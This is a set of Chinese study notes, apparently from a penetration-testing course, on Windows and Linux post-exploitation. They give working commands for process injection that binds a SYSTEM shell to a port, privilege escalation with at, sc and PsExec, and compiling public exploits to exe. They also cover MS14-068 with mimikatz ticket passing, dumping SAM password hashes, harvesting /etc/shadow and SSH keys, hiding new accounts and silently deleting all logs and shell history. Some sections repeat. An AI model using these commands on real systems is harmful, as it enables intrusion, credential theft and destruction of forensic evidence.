Windows下:
wireshark
Omnipeek(https://www.savvius.com/free-30-day-software-trials/)
界面友好,有很多方便的功能,有专家系统进行分析
commview
破解版
Sniffpass
针对密码协议
Linux:
Tcpdump
Wireshark
dsniff
针对密码协议
Windows下:
wireshark
Omnipeek(https://www.savvius.com/free-30-day-software-trials/)
界面友好,有很多方便的功能,有专家系统进行分析
commview
破解版
Sniffpass
针对密码协议
Linux:
Tcpdump
Wireshark
dsniff
针对密码协议
该方式将我们要执行的服务注入操作系统原本的system启动的服务里,达到更加隐蔽痕迹的目的
该方式需要第三方工具来实现
pinjector.exe
https://www.tarasco.org/security/Process_Injector/
-l 枚举出当前可以注入的进程
-p pid 程序 port
例:
pinjector.exe -p 832 cmd 555(需要关闭防火墙)
该命令会创建注入PID为832的进程,启动后会给攻击者在端口555提供一个cmd,通过nc类似工具可以连接
该方式特点:
极为隐蔽,只能在端口层面以及进程堆栈层面发现
但在任务管理器中也会增加新的进程(即上文中的 程序,例中的cmd),且在注入进程的属性中TCP/IP项能查看到侦听了我们让其侦听的端口
一、在WIN xp中 at命令调度
打开cmd
使用at命令调度任务:at time /interactive cmd
time:16:00
/interactive:交互模式,会出现窗口,而不是后台运行
cmd:启动的服务
然后会出现一个新的命令行窗口,通过任务管理器可以看到,该窗口属于system
二、在WIN XP及更高的系统中 SC命令,服务的形式
通过shell添加服务:
sc create syscmd binpath= "cmd /k start" type= own type= interact
注意空格
然后 sc start syscmd 启动
启动的CMD是system权限,原因:因为services.msc中的服务都会以system启动
三、通过微软组件
https://docs.microsoft.com/zh-cn/sysinternals/downloads/
其中的 PsExec 软件可以实现
参数:
-i Run theprogram so taht it interacts with the desktop of the specified session on the remote sysytem. If no session is specified the process runs in the console session.
-s Run the remote process in the Sytem account
命令:
PsExec.exe -i -s cmd
服务账号需要用户登录已在后台启动服务。
针对不同的操作系统:
windows
user
administrator
system
linux
user
root
任务1、本地提权
隐藏痕迹
• 禁止在登陆界面显示新建账号
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T REG_DWORD /D 0
// 不在windos登陆界面显示某账号 但是会在net user 和图形化界面看到 网上有很多别的方法藏
• del %WINDIR%\*.log /a/s/q/f //强制安静地删除所有的log文件
• History //ls -l .bash_history 在这个文件下
history -c 清除记录
lsattr 用于查看属性 chattr用于改变属性 可以改属性让文件不能被修改
• 日志
• auth.log / secure //在/var/log/下 用于存放系统登录日志和身份认证的记录
• btmp / wtmp //用last命令查看 系统账号登录信息
• lastlog / faillog
• 其他日志和 HIDS 等
WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
• wmic nicconfig get ipaddress,macaddress
//读取IP和Mac地址
• wmic computersystemget username
//查登录账号名称
• wmic netlogin get name,lastlogon
//查看用户登录记录的
• wmic process get caption, executablepath,commandline
//查看当前系统进程及其是使用什么命令运行的
• wmic process where name=“calc.exe" call terminate
//结束进程
• wmic os get name,servicepackmajorversion
//提取操作系统servicepack版本 用于判断打什么补丁
• wmic product get name,version
//查看当前机器安装的软件
• wmic product where name=“name” call uninstall /nointeractive
//删软件 /nointeractive是在后台执行
• wmic share get /ALL
//看共享文件夹
• wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections"1"
//用于开启远程服务
• wmic nteventlogget path,filename, writeable
//用于查看当前系统日志对应文件 等同于运行里的eventvwr
收集敏感数据
• 商业信息
• 系统信息
• Linux
• /etc ;/usr/local/etc
• /etc/passwd ;/etc/shadow
• .ssh ;.gnupg 公私钥
• The e-mail and data files
• 业务数据库 ;身份认证服务器数据库
• /tmp //可能找到管理员不小心留下的重要数据或是程序运行中的临时数据
• windows
• SAM 数据库 ; 注册表文件
• %SYSTEMROOT%\repair\SAM
• %SYSTEMROOT%\System32\config\RegBack\SAM • 业务数据库 ; 身份认证数据库
• 临时文件目录
• UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
scp /usr/share/exploitdb/platforms/linux/local/18411.c yuanfh@192.168.1.149: /home/yuanfh/
//调用ssh进行传输
sudo apt-cdrom add //将光盘加入更新源
searchsploit ms11-080 //寻找漏洞利用代码
pyinstaller //实现把Python脚本转换成exe应用程序
pywin32 //pyinstaller会调用pywin32的功能
利用漏洞提权
>找漏洞利用代码
将漏洞利用代码文件(18176.py)放到pyinstaller文件夹下,pyinstaller文件夹放到python27文件夹下,
..\python.exe pyinstaller.py --onefile 18176.py
//--onefile 将需要调用的库文件和外置扩展文件包含到一个exe里面
运行即可提权system
net localgroup administraters a /add
WDigest将密码存储在内存中(明文格式)
• http://www.nirsoft.net //这个网站有大量的密码收集工具
cd /usr/share/windos-binaries/
fgdump
windos操作系统不保存账号明文的方式但是会用密文的方式保存你密码的哈希值,当你输入端密码哈希值匹配与操作系统里的账号数据库的哈希值一致才能登陆
用 fgdump里的PwDump.exe把操作系统里密码的哈希值提取出来
C:\WINDOS\system32\config\SAM //账号密码在这里
ophcrack
Darkcomet
抓包嗅探
• Windows
• Wireshark
• Omnipeek
• commview
• Sniffpass //基于抓包来收集密码的
• Linux
• Tcpdump
• Wireshark •
Dsniff
pinjector.exe
极强的隐蔽性
•http://www.tarasco.org/security/Process_Injector/
inject.exe -p <pid> <cmd> <port><Inject into PID>
netstat -nao | find "555" //查端口
cmd
cmdnet user 用户名 * //用于设置密码
net user //查看当前所有账号
net user 账号名称 //用于检查账号的基本情况
at /? //用于查看命令参数
at 18:12 /interactive cmd //定时提权成sys账号运行cmd
taskmgr //执行任务管理器
关闭explorer 再重启 就能以system用户打开
at命令只能在xp 2003等早期系统上使用,在win7 win8等操作系统上无法使用
sc Create [名字] binPath="cmd /K start" type= own type= interact
//own 指由启动账号所拥有的服务 interact指可交互的而不是后台运行的服务
cmd /k start //用于打开一个新的cmd窗口
默认情况下该服务未启动
sc start [名字] //启动服务
用SysinternalsSuite里的PsExec.exe -i -s cmd 提权
本地提权
多用户操作系统
系统账号之间权限隔离
用户账号登录时获得权限令牌
服务账号无需用户登录已在后台启动服务
system账号有启动和运行系统内核级别的权限
下载好注入程序,然后将压缩包中的(1)pinjector.exe提取出放在c盘根目录
(2) 执行pinjector.exe -l 查看可以注入的进程
(3)执行pinjector.exe -p 600 cmd 2345 注入进程pid为600的进程,使用端口2345返回cmd,执行成功后在任务管理器里并没有多出进程
搭建域环境:
域控制器只能是server的操作系统,win7,8,xp不可以
作为域控制器的server管理员账号在升级成域后自动提升为域管理员
server要设为静态ip
DNS要指向自己的ip
运行->输入dcpromo(域安装程序)
域控制器也作为dns服务器
将电脑加入域:
我的电脑->属性->计算机名称->更改
运行->输入dsa.msc(域管理工具)
(MS14-068)漏洞利用
1.生成shell
python 1876.py -u user@lab.com -s userSID -d 域控制器的ip
#user是域用户名,userSID是这个用户的SID(用whoami.exe /all可查看)
2.将minikatz和生成的文件TGT_user1@lab.com.ccache 拷贝到win7系统(目标机)
3.本地管理员登陆
• mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit
4.成功
隐藏痕迹
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T REG_DWORD /D 0
#禁止在登陆界面显示新建账号
del %WINDIR%\*.log /a/s/q/f
#静默删除日志
history -c #删除历史记录
linux中给文件加-i属性后无法操作
linux中日志
• auth.log / secure
• btmp / wtmp
• lastlog / faillog
• 其他日志和 HIDS 等